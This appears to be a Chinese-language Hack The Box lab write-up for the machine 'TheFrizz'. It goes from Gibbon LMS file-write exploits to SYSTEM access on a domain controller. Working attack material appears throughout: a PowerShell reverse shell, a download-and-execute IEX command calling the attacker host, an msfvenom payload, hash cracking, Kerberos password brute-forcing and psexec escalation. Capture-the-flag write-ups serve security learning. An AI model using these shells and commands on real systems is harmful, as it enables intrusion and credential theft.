信息收集
1、端口扫描
nmap 10.10.11.60
PORT STATE SERVICE22/tcp open ssh53/tcp open domain80/tcp open http88/tcp open kerberos-sec135/tcp open msrpc139/tcp open netbios-ssn389/tcp open ldap445/tcp open microsoft-ds464/tcp open kpasswd5593/tcp open http-rpc-epmap636/tcp open ldapssl3268/tcp open globalcatLDAP Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)3269/tcp open globalcatLDAPssl
访问80端口
添加DNS解析 10.10.11.60 frizzdc.frizz.htb
Gibbon v25.0.0
2、目录扫描
dirsearch -u http://frizzdc.frizz.htb/
[04:17:12] 500 - 639B - /cgi-bin/printenv.pl [04:17:30] 301 - 345B - /home -> http://frizzdc.frizz.htb/home/
访问
/cgi-bin/printenv.pl
Please contact the server administrator at [email protected] to inform them of the time this .....Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at frizzdc.frizz.htb Port 80
打点
CVE-2023-34598:
https://github.com/maddsec/CVE-2023-34598
http://frizzdc.frizz.htb/Gibbon-LMS/index.php?q=./gibbon.sqlhttp://frizzdc.frizz.htb/Gibbon-LMS/index.php?q=./vendor/composer/installed.json
任意文件写入 - GetShell
CVE-2023-45878 任意文件写入:
https://herolab.usd.de/security-advisories/usd-2023-0025/
# 跟着Exp写入有个shell文件# 执行命令成功# dir查看目录 -> 发现有个config.php配置文件 -> type查看文件内容# 得到一个数据库的用户名和密码
http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=type config.php$databaseServer = 'localhost'; $databaseUsername = 'MrGibbonsDB'; $databasePassword = 'MisterGibbs!Parrot!?1'; $databaseName = 'gibbon';$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
# 通过任意文件写入 写入一个php的反弹shell -> 通过meterpreter生成# 生成 shell.php -> base64编码 ( 上传需要base64编码 )msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.62 LPORT=8888 -f raw > shell.phpbase64 shell.php # Kali中自带的命令# 启动msfconsole进行监听msfconsoleuse multi/handlerset payload php/meterpreter/reverse_tcpset lhost 10.10.16.62set lport 8888exploit
msf
我反弹不过来,这里用了另外一个方法
# shell.ps1# python -m http.server 80# nc -lvvp 9999$LHOST = "10.10.16.72"; $LPORT = 9999; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
# http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=echo IEX (New-Object Net.WebClient).DownloadString("http://10.10.16.72/shell.ps1") | powershell -noprofileecho IEX (New-Object Net.WebClient).DownloadString("http://10.10.16.72/shell.ps1") | powershell -noprofile
数据库 & john
结合上面得到的数据库账号密码,进入数据库寻找信息$databaseUsername = 'MrGibbonsDB'; $databasePassword = 'MisterGibbs!Parrot!?1'; $databaseName = 'gibbon';mysql在 C:xamppmysqlbin 路径下
.mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases;".mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "use gibbon; select * from gibbonperson;"# 泄露用户username: f.frizzlepasswordStrong: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 passwordStrongSalt: /aACFhikmNopqrRTVz2489
通过长度可以判断是SHA-256加密 加盐常见组合方式 SHA256(password+salt) 或者 SHA256(password+salt)
John
的 dynamic
格式支持 sha256($s.$p)
,其中:
-
$s
: 盐值(salt
) -
$p
: 密码(password
)
dynamic_61:sha256($s.$p)dynamic_62:sha256($p.$s)
passwordStrong:$dynamic_61$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489john --format=dynamic_61 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtf.frizzle:Jenni_Luvs_Magic23
CVE-2024-24725:
https://www.exploit-db.com/exploits/51903
错误登录
./kerbrute bruteuser --dc 10.10.11.60 -d frizz.htb pass.txt f.frizzle -v
./kerbrute bruteuser --dc 10.10.11.60 -d frizz.htb pass.txt f.frizzle -v
-
通过 kerbrute
来验证密码 --- 我的这里通过-v
发现了时钟相差过大 -> 下面有我解决同步时间的问题 -
--dc
:域控制器 -
-d
:域名 -
-v
:输出日志信息
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htbexport KRB5CCNAME=f.frizzle.ccache
-
通过 Kerberos
协议从指定的域控制器(KDC
)获取一个 票据授予票据(Ticket Granting Ticket, TGT
) -
frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23'
指定Kerberos
认证的凭证,格式为:域名/用户名:密码 -
-dc-ip
:域控制器(KDC
)的IP
地址或主机名 --- 如果写主机名( 要确保已经添加DNS
解析 ) -
这条命令生成 f.frizzle.ccache
,一般会用环境变量来保存进行加载
evil-winrm -i 10.10.11.60 -r frizz.htb -k KRB5CCNAME
-
通过 Windows
远程管理协议(WinRM
)连接到目标机器,并使用Kerberos
认证方式进行身份验证 -
-i
:知道IP
或者主机名 -
-r
:知道kerberos
域(realm,--realm
) -
-k
:指定使用Kerberos
认证
同步时间
sudo ntpdate frizzdc.frizz.htb-> 按理来说执行这一条命令即可, 将本机时间与域控进行同步 ( 只要时间差小于5分钟, 就OK了 )-> 但是后台会有一些服务自动更新时间 -> 导致, 你这边刚同步完, 后台的服务又给你调回去了-> 出现 你执行完上面的命令后, 再用date查看时间 发现没有变化# systemd-timesyncd 或者 ntp 服务 -> 看你的电脑控制时间的是什么服务 -> 停止即可systemctl status systemd-timesyncdsudo systemctl status ntpsudo systemctl stop systemd-timesyncdsudo systemctl disable systemd-timesyncd
正确登录
/etc/hosts
必须如下设置
10.10.11.60 frizzdc.frizz.htb frizz.htb
/etc/krb5.conf
,这个是kerberos
的配置文件
[domain_realm] .frizz.htb = FRIZZ.HTB frizz.htb = FRIZZ.HTB[libdefaults] default_realm = FRIZZ.HTB dns_lookup_realm = false dns_lookup_kdc = true ticket_lifetime = 24h forwardable = true[realms] FRIZZ.HTB = { kdc = FRIZZDC.FRIZZ.HTB admin_server = FRIZZDC.FRIZZ.HTB default_domain = FRIZZ.HTB}
kinit
获取票据
kinit [email protected]klist
-
通过 Kerberos
协议为用户[email protected]
初始化一个Kerberos
票据(通常是TGT
,Ticket Granting Ticket) -
klist
查看票据
ssh [email protected] -K
-
-K
启用GSSAPI
认证 -> 告诉它用Kerberos
票据进行身份验证 -
这就要保证配置文件正确配置了
user.txt
就在Desktop
目录下了
提权
BloodHound
收集信息
# 通过scp上传SharpHound.exe到目标服务器 -> 进行收集域信息scp -o GSSAPIAuthentication=yes ~/桌面/privilege/bloodhoundcollect/SharpHound.exe [email protected]:C:/Users/f.frizzle/Desktop# 在目标机器上运行SharpHound.exe -> 生成zip文件.SharpHound.exe -c All -d FRIZZ.HTB --OutputDirectory C:Temp# 回传回来scp [email protected]:C:/Temp/20250405190945_BloodHound.zip /home/yefeng/桌面/HTB/TheFrizz# 用bloodhound分析 导入 zip 文件
PS
命令搜集信息
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName
-
Get-ADUser
:获取AD
中的用户对象 -
Select-Object -ExpandProperty SamAccountName
:提取SamAccountName
属性
# 在 C: 下Get-ChildItem -Force # 列出当前目录下所有文件cd `$RECYCLE.BIN# 发现了压缩包 且属于 f.frizzle 用户 whoami /user -> 可以查看SID
# 由于 $RECYLE 的变量问题 -> 先将文件复制出来 -> 然后用scp进行传输Copy-Item "C:`$RECYCLE.BINS-1-5-21-2386970044-1145388522-2932701813-1103`$RE2XMEG.7z""C:/Temp/1.7z"Copy-Item "C:`$RECYCLE.BINS-1-5-21-2386970044-1145388522-2932701813-1103`$IE2XMEG.7z""C:/Temp/2.7z"# scp传输scp [email protected]:C:/Temp/1.7z /home/yefeng/桌面/HTB/TheFrizzscp [email protected]:C:/Temp/2.7z /home/yefeng/桌面/HTB/TheFrizz# 7z 命令进行解压7z x 1.7z -o1 # 这里的-o就是这样的,与要解压的路径之间不需要空格# 寻找信息
base64
解码之后,进行一个密码喷射
./kerbrute bruteuser --dc 10.10.11.60 -d frizz.htb pass M.SchoolBus -v
M.SchoolBus:!suBcig@MehTed!R# 获取TGT票据impacket-getTGT -dc-ip 10.10.11.60 frizz.htb/M.SchoolBus:'!suBcig@MehTed!R'export KRB5CCNAME=m.schoolbus.ccacheimpacket-psexec -k -no-pass frizz.htb/[email protected]
这里没想到可以通过impacket-psexec直接提权: psexec利用了远程服务机制,而这个机制默认以SYSTEM权限执行 只要你当前用户的权限是本地管理员,就可以利用psexec拿到SYSTEMpsexec工具工作流程如下: 连接目标主机 SMB 445 端口; 上传一个服务程序(remcomsvc.exe); 在目标主机上通过 Windows 服务控制管理器(SCM) 注册一个服务; 设置这个服务的启动账户为:LocalSystem(SYSTEM); 启动服务,执行你的命令; 回显命令执行结果; 最后删除服务和临时文件。
原文始发于微信公众号(夜风Sec):HTB-TheFrizz
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论